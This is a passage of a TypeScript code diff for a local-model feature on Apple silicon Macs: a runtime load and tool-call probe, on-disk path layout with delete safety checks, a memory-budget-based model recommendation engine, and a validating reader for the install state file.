// 1. The chat that loads the model. Its text is not read: only that it was answered.
const chat = await ask(
target,
'/v1/chat/completions',
{ method: 'POST', json: buildChatProbeRequest(modelId) },
CHAT_PROBE_TIMEOUT_MS,
signal
);
if (signal?.aborted) return cancelled;
if (!chat) return { ok: false, code: 'load-failed', detail: 'The runtime did not answer the first request' };
if (chat.status !== 200) {
return {
ok: false,
code: 'load-failed',
detail: clip(errorOfBody(chat.body) ?? `The runtime answered ${chat.status}`),
};
}
// 2. What the runtime says it loaded.
const judged = judgeLoaded(await listRunning(target, signal), modelId, context);
if (signal?.aborted) return cancelled;
if (!judged.ok) return judged;
// 3. One tool call.
const probe = await ask(
target,
'/v1/chat/completions',
{ method: 'POST', json: buildToolProbeRequest(modelId) },
TOOL_PROBE_TIMEOUT_MS,
signal
);
if (signal?.aborted) return cancelled;
if (!probe)
return { ok: false, code: 'probe-unfinished', detail: 'The runtime did not answer the tool request in time' };
const tool = judgeToolProbe(probe.status, probe.body);
if (!tool.ok) return tool;
return { ok: true, loaded: judged.loaded };
}
+100
View File
@@ -0,0 +1,100 @@
/**
* @fileoverview Where everything of the local model lives on disk. One pure function, so the
* runtime, the install job and uninstall all name the same folders.
*
* Layout, all under the data dir (`dataPath()`, so a second Codeman instance has its own):
*
* ```
* local-model.json the state file (mode 0600)
* local-model/
* runtime/ollama-<version>.tgz.partial the runtime archive while it downloads
* runtime/ollama-<version>.unpack/ where the archive is unpacked, before the rename
* runtime/ollama-<version>/ the unpacked runtime; its binary is `ollama`
* models/ the runtime's model store
* home/ the runtime's private HOME (its key pair lands here)
* ```
*
* Rules:
* - `root` is the ONE folder this feature owns. Nothing is written or deleted outside it,
* except the state file beside it and the two writes of the connect step (the endpoint
* record and the settings flag), which have their own writers.
* - Every path comes from here. None is ever read back from the state file, so a state file
* cannot point a delete anywhere else. `isInsideLocalModelRoot()` is the check a delete
* makes before it runs.
* - Pure apart from `dataPath()`, which resolves (and creates) the data dir.
*/
import { join, resolve, sep } from 'node:path';
import { dataPath } from '../config/instance.js';
/** A runtime version as it may appear in a folder name: digits and dots only ('0.40.15'). */
const VERSION_PATTERN = /^\d+(?:\.\d+){1,3}$/;
export interface LocalModelPaths {
/** `<data dir>/local-model`: the one folder this feature owns. */
root: string;
/** `<root>/runtime`: the archive and every unpacked version. */
runtimeRoot: string;
/** `<root>/runtime/ollama-<version>`: the unpacked runtime. */
runtimeDir: string;
/** The runtime's binary: `<runtimeDir>/ollama`. */
binary: string;
/** `<root>/runtime/ollama-<version>.tgz.partial`: the archive while it downloads. */
archivePartial: string;
/** `<root>/runtime/ollama-<version>.unpack`: the temporary folder the archive is unpacked into. */
unpackDir: string;
/** `<root>/models`: the runtime's model store. */
modelsDir: string;
/** `<root>/home`: the runtime's private HOME. */
homeDir: string;
/** `<data dir>/local-model.json`: the state file. */
stateFile: string;
}
/**
* The paths of the local model for one runtime version. Throws on a version that is not
* digits and dots, so a version string can never add a path segment.
*/
export function localModelPaths(version: string): LocalModelPaths {
if (!VERSION_PATTERN.test(version)) {
throw new Error(`Not a runtime version: ${JSON.stringify(version)}`);
}
const root = dataPath('local-model');
const runtimeRoot = join(root, 'runtime');
const runtimeDir = join(runtimeRoot, `ollama-${version}`);
return {
root,
runtimeRoot,
runtimeDir,
binary: join(runtimeDir, 'ollama'),
archivePartial: join(runtimeRoot, `ollama-${version}.tgz.partial`),
unpackDir: join(runtimeRoot, `ollama-${version}.unpack`),
modelsDir: join(root, 'models'),
homeDir: join(root, 'home'),
stateFile: dataPath('local-model.json'),
};
}
/**
* The binary of another unpacked runtime version beside the pinned one: `<runtimeRoot>/
* ollama-<version>/ollama`. For an installed model whose runtime was unpacked by an earlier
* build with another pin: it keeps running the version it was installed with. Throws on a
* version that is not digits and dots, like `localModelPaths()`. Pure.
*/
export function runtimeBinaryForVersion(paths: LocalModelPaths, version: string): string {
if (!VERSION_PATTERN.test(version)) {
throw new Error(`Not a runtime version: ${JSON.stringify(version)}`);
}
return join(paths.runtimeRoot, `ollama-${version}`, 'ollama');
}
/**
* Whether `path` is the local model folder itself or lies inside it, judged on the resolved
* text (no filesystem access, so a symlink is not followed: a caller that deletes checks the
* real path first). `..` segments are resolved before the comparison.
*/
export function isInsideLocalModelRoot(path: string, root: string = dataPath('local-model')): boolean {
const base = resolve(root);
const target = resolve(path);
return target === base || target.startsWith(base + sep);
}
+523
View File
@@ -0,0 +1,523 @@
/**
* @fileoverview The recommendation itself: which model, at which context, with which harness
* fits this Mac. Pure: no IO, no clock, no CLI registry, no data dir.
*
* The math, in the order it runs:
* - `deviceBudget()`. ESTIMATED (all there is before the runtime ran): L is the wired limit
* when it is above 0, else 2/3 of memory below 36 GB and 3/4 from 36 GB, and
* B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to 18 GB, 8 GiB up to
* 48 GB and 12 GiB above. MEASURED (`RecommendOptions.measuredTotalBytes`, the device total
* the runtime printed when it started): L is that total and B = min(L, memory - reserve),
* without the 1 GiB, because the figure is already what the runtime will really use.
* - `needBytes()`: the PEAK, `bytes + heldBytesPerToken * ctx + overheadBytes +
* peakExtraBytes` of the catalogue row: the weights, what stays held per token of context,
* what the runner holds beside both, and what it takes for a moment while a long prompt is
* processed. Measured for one model on one Mac; every other row's figures are computed from
* its own model's architecture for its runner and say `estimated` (see the catalogue
* header, MEMORY).
* - Fit: need over budget up to 0.85 is good, up to 0.98 is tight, above is out. The grade
* decides whether a model is offered at all and what its row says. It does NOT sort: the
* need is the worst moment at the full context, so a tight fit is a model that runs, and a
* Mac whose best model is tight should be offered that model, not a smaller one.
* - Speed: a candidate that matches a `tested` entry with a measured speed reports that
* speed. Every other one is estimated: the model's `speedPer100Gbps` x the chip's bandwidth
* / 100. Below 10 is slow, decided on the unrounded figure (9.96 is slow although it prints
* as 10). A chip that is in no chips row, or a model without a speed figure, is UNKNOWN: a
* bandwidth is never guessed.
* - Candidates: (model, context, harness) with `ctx >= harness.minContext`, the harness not
* gated, installed or installable, and accepting the model id.
* - Ranking, lexicographic: tested on a Mac like this before not tested (a measurement beats
* a formula); ok before unknown before slow; the higher model rank; the higher harness
* rank; the larger context. The pick is the first candidate, the alternatives are the next
* four MODELS, each at its own best context and harness, so a model is always offered at
* the largest context it fits at.
* - Disk: a model whose download would leave less than 10 GiB free is not offered. It is not
* dropped in silence: the best-ranked model left out that way is named in `noteDiskDropped`
* with what is missing.
*
* Verdict `none`, in this order (the first that applies is the reason):
* 1. `not-macos`: the server does not run on macOS.
* 2. `intel`: a Mac without Apple silicon.
* 3. `macos`: macOS is older than the catalogue's minimum (an unknown version does not block).
* 4. `memory`: no model fits the budget at any of its contexts, whatever the harness
* (`noneMemory`, or `noneMemoryUnknown` when the memory size could not be read).
* 5. `no-harness`: no harness row is usable (not gated, known to the caller, installed or
* installable).
* 6. `memory`: models fit, but none at a context a usable harness needs. Its own sentence
* (`noneMemoryContext`) with the budget and the smallest need at such a context, because
* "too little memory" would hide that a model does fit at a smaller context and that the
* answer rests on estimates.
* 7. `no-harness`: models fit at such a context, but no usable harness accepts their id.
* 8. `disk`: for every remaining model, free disk minus the download is below 10 GiB (an
* unknown free disk does not block).
*
* Rules:
* - Verdict `limited` when NO model with 12 billion parameters or more fits this Mac's memory
* at a context a usable harness works at. It is a statement about the Mac ("This Mac can run
* a small model"), so it is judged on everything that fits, BEFORE the disk filter and
* whatever the pick is: a 36 GB Mac whose pick is a 9B model while a 20B is listed under it
* is not a small-model Mac, and a 48 GB Mac does not become one because its disk is full. A
* small pick under verdict `ok` carries `noteSmallPick` instead.
* - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for verdict `ok` with a
* pick whose model has a `tested` entry for exactly this chip, this memory size and this
* harness. Otherwise `headlineOk` (or `headlineLimited`) plus `noteUntested`.
* - Every row carries what the chooser needs and nothing the browser must work out: its one
* tag (`tagFor()`), every harness it can run with (`Candidate.harnesses`, the flat harness
* fields first), and the whole download of an install (`installBytes`: the model plus
* `RecommendOptions.runtimeDownloadBytes`).
* - Every label in the result comes from `LOCAL_MODEL_LABELS` or `LOCAL_MODEL_TAG_LABELS`,
* every computed size text from `formatGb()`. The one size that is not decimal GB is the
* installed memory in `noneMemory`: `HardwareFacts.memClassGb`, the size the Mac is sold
* as. No number is spliced into a sentence here.
* - No CLI id is ever compared with a literal: a harness is a catalogue row plus a
* `HarnessFact`.
*/
import {
LOCAL_MODEL_LABELS,
LOCAL_MODEL_NONE_LABELS,
LOCAL_MODEL_TAG_LABELS,
type Candidate,
type CandidateHarness,
type CandidateTag,
type CandidateTagKind,
type DeviceBudget,
type FitGrade,
type HardwareFacts,
type HarnessFact,
type LocalHarnessEntry,
type LocalModelCatalog,
type LocalModelEntry,
type LocalModelLabel,
type LocalModelMessage,
type NoneReason,
type Recommendation,
type RecommendOptions,
type SpeedGrade,
type TestedOn,
} from '../types.js';
import { chipBandwidthGbps } from '../config/local-model-catalog.js';
import { formatGb, GIB, MIB } from './format.js';
/** Need over budget up to this share is a `good` fit. */
export const FIT_GOOD_MAX_SHARE = 0.85;
/** Need over budget up to this share is a `tight` fit; above it the model is out. */
export const FIT_TIGHT_MAX_SHARE = 0.98;
/** A speed below this many tokens per second is `slow`. */
export const SLOW_BELOW_TOKENS_PER_SECOND = 10;
/** When no model that fits has at least this many billion parameters, the verdict is `limited`. A pick below it is a "small model". */
export const LIMITED_BELOW_PARAMS_B = 12;
/** What must stay free on the disk after the model download. */
export const DISK_HEADROOM_BYTES = 10 * GIB;
/** How many other models are listed under the pick. */
export const MAX_ALTERNATIVES = 4;
/** A memory size of at least this many GB (as sold) gets 3/4 of its memory as device limit, below it 2/3. */
const LARGE_LIMIT_FROM_GB = 36;
/** The memory the system, Codeman, a browser and the agent keep for themselves, by the size the Mac is sold as. */
function reserveBytes(memClassGb: number): number {
if (memClassGb <= 18) return 6 * GIB;
if (memClassGb <= 48) return 8 * GIB;
return 12 * GIB;
}
/** A byte count a caller supplied, when it is one: finite and above 0. */
function positiveBytes(value: number | undefined): number | undefined {
return value !== undefined && Number.isFinite(value) && value > 0 ? Math.floor(value) : undefined;
}
/**
* The memory a model may use on this Mac: the device limit L, the budget B and where L came
* from. With `options.measuredTotalBytes` the limit is what the runtime itself reported and
* the 1 GiB the estimate keeps back is not subtracted; the reserve bounds both.
*/
export function deviceBudget(hw: HardwareFacts, options: RecommendOptions = {}): DeviceBudget {
const memBytes = Number.isFinite(hw.memBytes) && hw.memBytes > 0 ? hw.memBytes : 0;
const afterReserve = memBytes - reserveBytes(hw.memClassGb);
const measured = positiveBytes(options.measuredTotalBytes);
if (measured !== undefined) {
return { limitBytes: measured, budgetBytes: Math.max(0, Math.min(measured, afterReserve)), source: 'measured' };
}
// 0 means "not set" (both test Macs report 0): only a value above 0 is a limit.
const wired = hw.wiredLimitMb !== undefined && Number.isFinite(hw.wiredLimitMb) && hw.wiredLimitMb > 0;
const limitBytes = wired
? Math.floor((hw.wiredLimitMb as number) * MIB)
: Math.floor(memBytes * (hw.memClassGb < LARGE_LIMIT_FROM_GB ? 2 / 3 : 3 / 4));
const budgetBytes = Math.max(0, Math.min(limitBytes - GIB, afterReserve));
return { limitBytes, budgetBytes, source: wired ? 'wired-limit' : 'estimated' };
}
/**
* The bytes `model` needs in memory at a context of `ctx` tokens, at its PEAK: the weights,
* what stays held for the context, what the runner holds beside them, and what it takes for a
* moment while a long prompt is processed. It does not depend on the Mac.
*/
export function needBytes(model: LocalModelEntry, ctx: number): number {
return model.bytes + model.heldBytesPerToken * ctx + model.overheadBytes + model.peakExtraBytes;
}
function fitGrade(need: number, budgetBytes: number): FitGrade {
if (budgetBytes <= 0) return 'out';
const share = need / budgetBytes;
if (share <= FIT_GOOD_MAX_SHARE) return 'good';
if (share <= FIT_TIGHT_MAX_SHARE) return 'tight';
return 'out';
}
/**
* Whether the catalogue model `modelId` at `context` tokens fits this Mac's budget (a `good`
* or a `tight` fit). The install job asks this right after the runtime started, with the
* budget the runtime measured (`options.measuredTotalBytes`), BEFORE it downloads the model: a
* `false` ends the job with `does-not-fit`. It is the same judgement `recommend()` makes for a
* candidate, without the ranking, so a model that fits is never ruled out for being listed
* sixth. False for a model the catalogue does not have.
*/
export function modelFitsBudget(
hw: HardwareFacts,
catalog: LocalModelCatalog,
modelId: string,
context: number,
options: RecommendOptions = {}
): boolean {
const model = catalog.models.find((entry) => entry.id === modelId);
if (!model || !Number.isFinite(context) || context <= 0) return false;
return fitGrade(needBytes(model, context), deviceBudget(hw, options).budgetBytes) !== 'out';
}
/**
* Whether the MACHINE is Apple silicon. `hw.optional.arm64` decides when it was read. Without
* it: a process under Rosetta, an arm64 process or an Apple chip name each prove Apple silicon
* (`arch` alone cannot say no, because Node under Rosetta reports x64).
*/
function isAppleSilicon(hw: HardwareFacts): boolean {
if (hw.arm64 !== undefined) return hw.arm64;
if (hw.translated === true || hw.arch === 'arm64') return true;
return /^Apple\b/i.test(hw.chip ?? '');
}
function round(value: number, decimals: number): number {
const factor = 10 ** decimals;
return Math.round(value * factor) / factor;
}
/** A candidate plus its catalogue row and the two ranks the ordering needs, none of which is part of the payload. */
interface Ranked {
candidate: Candidate;
model: LocalModelEntry;
modelRank: number;
harnessRank: number;
}
/** A catalogue harness row with the caller's fact about it. */
interface UsableHarness {
row: LocalHarnessEntry;
fact: HarnessFact;
}
const SPEED_ORDER: Record<SpeedGrade, number> = { ok: 0, unknown: 1, slow: 2 };
/** Best first. The fit grade is not a key: every candidate here fits, see the file header. */
function compareRanked(a: Ranked, b: Ranked): number {
return (
Number(b.candidate.tested) - Number(a.candidate.tested) ||
SPEED_ORDER[a.candidate.speed] - SPEED_ORDER[b.candidate.speed] ||
b.modelRank - a.modelRank ||
b.harnessRank - a.harnessRank ||
b.candidate.context - a.candidate.context
);
}
/** A function supplied by the caller must not be able to break a pure answer. */
function accepts(fact: HarnessFact, modelId: string): boolean {
try {
return fact.acceptsModelId(modelId) === true;
} catch {
return false;
}
}
/** What the chooser's "Runs with" select needs to know about one harness. */
function candidateHarness(harness: UsableHarness): CandidateHarness {
const { row, fact } = harness;
return {
cli: row.cli,
cliLabel: fact.label,
installed: fact.installed,
// Only a harness that still has to be installed has a command to show.
...(!fact.installed && fact.installCommand ? { installCommand: fact.installCommand } : {}),
...(row.slowFirstTurn ? { slowFirstTurn: true } : {}),
};
}
/**
* The entry that makes this model "tested on a Mac like this": exactly the same chip string,
* the same memory size as sold, the same harness.
*/
function testedEntry(model: LocalModelEntry, hw: HardwareFacts, cli: string): TestedOn | undefined {
return model.tested.find((entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === cli);
}
function buildCandidate(
model: LocalModelEntry,
ctx: number,
harness: UsableHarness,
/** Every usable harness that can run this model at this context, `harness` among them. */
runsWith: readonly UsableHarness[],
need: number,
fit: Candidate['fit'],
hw: HardwareFacts,
catalog: LocalModelCatalog,
budgetBytes: number,
runtimeDownloadBytes: number
): Candidate {
const testedOn = testedEntry(model, hw, harness.row.cli);
const gbps = chipBandwidthGbps(catalog.chips, hw.chip);
// A speed measured on a Mac like this one beats the estimate from the chip's bandwidth.
const rawSpeed =
testedOn?.tokensPerSecond ??
(gbps !== undefined && model.speedPer100Gbps !== undefined ? (model.speedPer100Gbps * gbps) / 100 : undefined);
// Graded on the unrounded figure: 9.96 rounds to 10.0 for the payload and is still slow.
const speed: SpeedGrade =
rawSpeed === undefined ? 'unknown' : rawSpeed < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok';
const tokensPerSecond = rawSpeed === undefined ? undefined : round(rawSpeed, 1);
// The harness of the flat fields first, then the others, best first.
const others = runsWith.filter((other) => other !== harness).sort((a, b) => b.row.rank - a.row.rank);
const installBytes = model.bytes + runtimeDownloadBytes;
return {
modelId: model.id,
modelLabel: model.label,
license: model.license,
paramsB: model.paramsB,
context: ctx,
cli: harness.row.cli,
cliLabel: harness.fact.label,
cliInstalled: harness.fact.installed,
...(harness.row.slowFirstTurn ? { slowFirstTurn: true } : {}),
needBytes: need,
needGb: formatGb(need),
memory: {
modelBytes: model.bytes + model.overheadBytes,
contextBytes: model.heldBytesPerToken * ctx,
peakBytes: model.peakExtraBytes,
},
downloadBytes: model.bytes,
downloadGb: formatGb(model.bytes),
budgetShare: round(need / budgetBytes, 3),
fit,
fitLabel: fit === 'good' ? LOCAL_MODEL_LABELS.fitGood : LOCAL_MODEL_LABELS.fitTight,
speed,
...(speed === 'slow' ? { speedLabel: LOCAL_MODEL_LABELS.speedSlow } : {}),
...(speed === 'unknown' ? { speedLabel: LOCAL_MODEL_LABELS.speedUnknown } : {}),
...(tokensPerSecond !== undefined ? { tokensPerSecond } : {}),
tested: testedOn !== undefined,
needSource: model.figures,
harnesses: [harness, ...others].map(candidateHarness),
installBytes,
installGb: formatGb(installBytes),
};
}
/**
* The one tag of a row: the first kind that applies, in the order tested, the pick (which
* says so when it only just fits), tight, slow, small. `undefined` when none does.
*/
function tagFor(candidate: Candidate, isPick: boolean): CandidateTag | undefined {
const kind: CandidateTagKind | undefined = candidate.tested
? 'tested'
: isPick
? candidate.fit === 'tight'
? 'best-tight'
: 'best'
: candidate.fit === 'tight'
? 'tight'
: candidate.speed === 'slow'
? 'slow'
: candidate.paramsB < LIMITED_BELOW_PARAMS_B
? 'small'
: undefined;
return kind === undefined ? undefined : { kind, label: LOCAL_MODEL_TAG_LABELS[kind] };
}
/** `candidate` with its tag, when it has one. */
function withTag(candidate: Candidate, isPick: boolean): Candidate {
const tag = tagFor(candidate, isPick);
return tag ? { ...candidate, tag } : candidate;
}
/** A `none` answer. `text` replaces the reason's default sentence (the `memory` reason has three). */
function none(
reason: NoneReason,
budget: DeviceBudget,
vars?: Record<string, string>,
text: LocalModelLabel = LOCAL_MODEL_NONE_LABELS[reason]
): Recommendation {
return {
verdict: 'none',
reason,
headline: { text, ...(vars ? { vars } : {}) },
notes: [],
alternatives: [],
budgetBytes: budget.budgetBytes,
budgetGb: formatGb(budget.budgetBytes),
budgetSource: budget.source,
};
}
/**
* The recommendation for this Mac. `harnessFacts` holds one fact per catalogue harness the
* caller could resolve; a catalogue harness without a fact is not offered.
*
* `options` is what the caller knows beyond the probe: the budget the runtime measured (the
* answer then says `budgetSource: 'measured'`), and the runtime download an install still
* needs (it is added to every row's `installBytes`).
*/
export function recommend(
hw: HardwareFacts,
catalog: LocalModelCatalog,
harnessFacts: readonly HarnessFact[],
options: RecommendOptions = {}
): Recommendation {
// Off macOS and on an Intel Mac there is no budget to compute: a model has no memory to run in.
const noBudget: DeviceBudget = { limitBytes: 0, budgetBytes: 0, source: 'estimated' };
if (hw.platform !== 'darwin') return none('not-macos', noBudget);
if (!isAppleSilicon(hw)) return none('intel', noBudget);
const budget = deviceBudget(hw, options);
const runtimeDownloadBytes = positiveBytes(options.runtimeDownloadBytes) ?? 0;
if (hw.macosMajor !== undefined && hw.macosMajor < catalog.minMacosMajor) {
return none('macos', budget, {
version: hw.macosVersion ?? String(hw.macosMajor),
minimum: String(catalog.minMacosMajor),
});
}
// Every (model, context) that fits the budget, before any harness is looked at.
const fitting: { model: LocalModelEntry; ctx: number; need: number; fit: Candidate['fit'] }[] = [];
for (const model of catalog.models) {
for (const ctx of model.contexts) {
const need = needBytes(model, ctx);
const fit = fitGrade(need, budget.budgetBytes);
if (fit !== 'out') fitting.push({ model, ctx, need, fit });
}
}
// Nothing fits at any context. The installed memory is named by the size the Mac is sold
// as; a size that could not be read is not stated at all (never "0 GB of memory").
const tooLittleMemory = (): Recommendation =>
Number.isFinite(hw.memClassGb) && hw.memClassGb > 0
? none('memory', budget, { memory: String(hw.memClassGb) })
: none('memory', budget, undefined, LOCAL_MODEL_LABELS.noneMemoryUnknown);
if (fitting.length === 0) return tooLittleMemory();
// A gated row is never offered, whatever the caller knows about its CLI.
const usable: UsableHarness[] = [];
for (const row of catalog.harnesses) {
if (row.gated) continue;
const fact = harnessFacts.find((candidate) => candidate.cli === row.cli);
if (fact && (fact.installed || fact.installable)) usable.push({ row, fact });
}
if (usable.length === 0) return none('no-harness', budget);
const atHarnessContext = fitting.flatMap((entry) =>
usable.filter((harness) => entry.ctx >= harness.row.minContext).map((harness) => ({ ...entry, harness }))
);
if (atHarnessContext.length === 0) {
// Models fit, but only below the context a harness needs. Say both numbers: the reader
// sees how far apart they are, and that both are estimates.
const smallestContext = Math.min(...usable.map((harness) => harness.row.minContext));
let smallestNeed: number | undefined;
for (const model of catalog.models) {
for (const ctx of model.contexts) {
if (ctx < smallestContext) continue;
const need = needBytes(model, ctx);
if (smallestNeed === undefined || need < smallestNeed) smallestNeed = need;
}
}
if (smallestNeed === undefined) return tooLittleMemory();
return none(
'memory',
budget,
{ budget: formatGb(budget.budgetBytes), need: formatGb(smallestNeed) },
LOCAL_MODEL_LABELS.noneMemoryContext
);
}
const accepted = atHarnessContext.filter((entry) => accepts(entry.harness.fact, entry.model.id));
if (accepted.length === 0) return none('no-harness', budget);
// The download must leave headroom on the disk. An unknown free disk does not block.
const free = hw.freeDiskBytes;
const hasRoom = (model: LocalModelEntry): boolean => free === undefined || free - model.bytes >= DISK_HEADROOM_BYTES;
if (free !== undefined && !accepted.some((entry) => hasRoom(entry.model))) {
const smallest = Math.min(...accepted.map((entry) => entry.model.bytes));
// One number, the one that says what to do: what must be freed for the smallest model.
return none('disk', budget, { missing: formatGb(smallest + DISK_HEADROOM_BYTES - free) });
}
// Everything that fits is ranked, the models without room on the disk included: the best of
// those is named in a note, so a full disk never removes a model without a word.
const ranked: Ranked[] = accepted
.map((entry) => ({
candidate: buildCandidate(
entry.model,
entry.ctx,
entry.harness,
accepted
.filter((other) => other.model === entry.model && other.ctx === entry.ctx)
.map((other) => other.harness),
entry.need,
entry.fit,
hw,
catalog,
budget.budgetBytes,
runtimeDownloadBytes
),
model: entry.model,
modelRank: entry.model.rank,
harnessRank: entry.harness.row.rank,
}))
.sort(compareRanked);
// The first candidate of each model is that model at its best context and harness.
const bestPerModel: Ranked[] = [];
for (const entry of ranked) {
if (!bestPerModel.some((kept) => kept.model.id === entry.model.id)) bestPerModel.push(entry);
}
const offered = bestPerModel.filter((entry) => hasRoom(entry.model)).map((entry) => entry.candidate);
const leftOutForDisk = bestPerModel.find((entry) => !hasRoom(entry.model));
const pick = withTag(offered[0], true);
const alternatives = offered.slice(1, 1 + MAX_ALTERNATIVES).map((candidate) => withTag(candidate, false));
// About the Mac, not the pick, and judged before the disk filter (see the file header).
const limited = !accepted.some((entry) => entry.model.paramsB >= LIMITED_BELOW_PARAMS_B);
const headline = limited
? LOCAL_MODEL_LABELS.headlineLimited
: pick.tested
? LOCAL_MODEL_LABELS.headlineTested
: LOCAL_MODEL_LABELS.headlineOk;
const notes: LocalModelMessage[] = [];
// The limited headline already says it. Under `ok` a small pick must still be called small.
if (!limited && pick.paramsB < LIMITED_BELOW_PARAMS_B) notes.push({ text: LOCAL_MODEL_LABELS.noteSmallPick });
if (leftOutForDisk && free !== undefined) {
notes.push({
text: LOCAL_MODEL_LABELS.noteDiskDropped,
vars: {
model: leftOutForDisk.model.label,
missing: formatGb(leftOutForDisk.model.bytes + DISK_HEADROOM_BYTES - free),
},
});
}
if (!pick.tested) notes.push({ text: LOCAL_MODEL_LABELS.noteUntested });
return {
verdict: limited ? 'limited' : 'ok',
headline: { text: headline },
notes,
pick,
alternatives,
budgetBytes: budget.budgetBytes,
budgetGb: formatGb(budget.budgetBytes),
budgetSource: budget.source,
};
}
File diff suppressed because it is too large. Load diff
+276
View File
@@ -0,0 +1,276 @@
/**
* @fileoverview The ONE reader and writer of `local-model.json`, the state file of the local
* model install (`LocalModelStateFile`).
*
* Why one module: the install job writes the state, the step and the digest, and the caller
* of the runtime supervisor writes the pid and the port. Two writers with their own temp file
* and rename would lose each other's change, which is the fault `mutateCustomModelHosts()`
* exists to end for the endpoint store. So every write goes through `mutateLocalModelState()`.
*
* The shape of `mutateSettingsFile()` (src/web/settings-writer.ts):
* - Serialized: mutations run one at a time on one promise chain.
* - Atomic: each write goes to a temp file with a random name beside the target and is
* renamed over it. The file is mode 0600.
* - Reading is TOTAL, unlike the settings writer: the file holds no setting of the user, only
* what this feature recorded, so a missing file, one that does not parse or one with
* another `schema` reads as `IDLE_LOCAL_MODEL_STATE` and the next write replaces it.
* - The path is `localModelPaths().stateFile`. The file itself holds no path.
*/
import { randomUUID } from 'node:crypto';
import fs from 'node:fs/promises';
import { dirname } from 'node:path';
import {
LOCAL_MODEL_ERROR_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type LocalModelErrorCode,
type LocalModelInstallState,
type LocalModelInstallStep,
type LocalModelStateFile,
} from '../types.js';
import { OLLAMA_RUNTIME_PIN } from './runtime.js';
import { localModelPaths } from './paths.js';
/** The state when nothing was ever installed. What an unreadable file reads as. */
export const IDLE_LOCAL_MODEL_STATE: LocalModelStateFile = Object.freeze({ schema: 1, state: 'idle' });
const STATES: readonly LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
// ---------- Reading one member at a time ----------
const isRecord = (value: unknown): value is Record<string, unknown> =>
typeof value === 'object' && value !== null && !Array.isArray(value);
const text = (value: unknown, max = 4_096): string | undefined =>
typeof value === 'string' && value !== '' && value.length <= max ? value : undefined;
/** A whole number of bytes, tokens, a port or a pid: finite, not negative, and an integer. */
const count = (value: unknown): number | undefined =>
typeof value === 'number' && Number.isSafeInteger(value) && value >= 0 ? value : undefined;
const step = (value: unknown): LocalModelInstallStep | undefined =>
LOCAL_MODEL_INSTALL_STEPS.find((candidate) => candidate === value);
function parseSteps(value: unknown): LocalModelInstallStep[] | undefined {
if (!Array.isArray(value)) return undefined;
const steps: LocalModelInstallStep[] = [];
for (const item of value) {
const parsed = step(item);
// A list with an unknown or a repeated step is not a list this build wrote.
if (!parsed || steps.includes(parsed)) return undefined;
steps.push(parsed);
}
return steps.length > 0 ? steps : undefined;
}
function parseVars(value: unknown): Record<string, string> | undefined {
if (!isRecord(value)) return undefined;
const vars: Record<string, string> = {};
for (const [key, item] of Object.entries(value)) {
if (typeof item === 'string' && item.length <= 4_096) vars[key] = item;
}
return Object.keys(vars).length > 0 ? vars : undefined;
}
function parseError(value: unknown): LocalModelStateFile['error'] {
if (!isRecord(value)) return undefined;
const code = text(value.code);
if (!code || !Object.prototype.hasOwnProperty.call(LOCAL_MODEL_ERROR_LABELS, code)) return undefined;
const vars = parseVars(value.vars);
const detail = text(value.detail, 16_384);
const nextModelId = text(value.nextModelId, 200);
return {
code: code as LocalModelErrorCode,
...(vars ? { vars } : {}),
...(detail ? { detail } : {}),
...(nextModelId ? { nextModelId } : {}),
};
}
function parseModel(value: unknown): LocalModelStateFile['model'] {
if (!isRecord(value)) return undefined;
const id = text(value.id, 200);
const label = text(value.label, 200);
const context = count(value.context);
if (!id || !label || !context) return undefined;
const pullBytes = count(value.pullBytes);
const digest = text(value.digest, 200);
return {
id,
label,
context,
...(pullBytes !== undefined ? { pullBytes } : {}),
...(digest ? { digest } : {}),
};
}
function parseCli(value: unknown): LocalModelStateFile['cli'] {
if (!isRecord(value)) return undefined;
const id = text(value.id, 200);
const label = text(value.label, 200);
return id && label ? { id, label } : undefined;
}
function parseRuntime(value: unknown): LocalModelStateFile['runtime'] {
if (!isRecord(value)) return undefined;
const version = text(value.version, 64);
const port = count(value.port);
if (!version || !port || port > 65_535) return undefined;
const pid = count(value.pid);
const measuredTotalBytes = count(value.measuredTotalBytes);
return {
version,
port,
...(pid ? { pid } : {}),
// Anything but an explicit `false` reads as enabled: only Stop switches the runtime off.
enabled: value.enabled !== false,
...(measuredTotalBytes ? { measuredTotalBytes } : {}),
};
}
function parseProgress(value: unknown): LocalModelStateFile['progress'] {
if (!isRecord(value)) return undefined;
const completedBytes = count(value.completedBytes);
const totalBytes = count(value.totalBytes);
return completedBytes !== undefined && totalBytes !== undefined ? { completedBytes, totalBytes } : undefined;
}
function parseLoaded(value: unknown): LocalModelStateFile['loaded'] {
if (!isRecord(value)) return undefined;
const context = count(value.context);
const sizeBytes = count(value.sizeBytes);
const sizeVramBytes = count(value.sizeVramBytes);
return context !== undefined && sizeBytes !== undefined && sizeVramBytes !== undefined
? { context, sizeBytes, sizeVramBytes }
: undefined;
}
function parseConnection(value: unknown): LocalModelStateFile['connection'] {
if (!isRecord(value)) return undefined;
const endpointId = text(value.endpointId, 200);
return endpointId && typeof value.flagWasEnabled === 'boolean'
? { endpointId, flagWasEnabled: value.flagWasEnabled }
: undefined;
}
/**
* The state a file's text stands for. Pure and total: text that is not a JSON object of
* `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are
* dropped, and a member of the wrong type is dropped rather than trusted.
*
* A state that needs a member it does not have is not trusted either: a job (`installing`,
* `paused`, `failed`) without its model, its coding agent or its step, a `failed` job without
* its error, and an `installed` state without its model or its runtime all read as idle.
* Nothing is deleted by that: what lies in the folder stays until a Remove or a new install.
*/
export function parseLocalModelState(raw: string): LocalModelStateFile {
let parsed: unknown;
try {
parsed = JSON.parse(raw);
} catch {
return IDLE_LOCAL_MODEL_STATE;
}
if (!isRecord(parsed) || parsed.schema !== 1) return IDLE_LOCAL_MODEL_STATE;
const state = STATES.find((candidate) => candidate === parsed.state);
if (!state || state === 'idle') return IDLE_LOCAL_MODEL_STATE;
const model = parseModel(parsed.model);
const cli = parseCli(parsed.cli);
const runtime = parseRuntime(parsed.runtime);
const connection = parseConnection(parsed.connection);
const updatedAt = text(parsed.updatedAt, 64);
const replacedModelId = text(parsed.replacedModelId, 200);
if (!model || !cli) return IDLE_LOCAL_MODEL_STATE;
if (state === 'installed') {
if (!runtime) return IDLE_LOCAL_MODEL_STATE;
const loaded = parseLoaded(parsed.loaded);
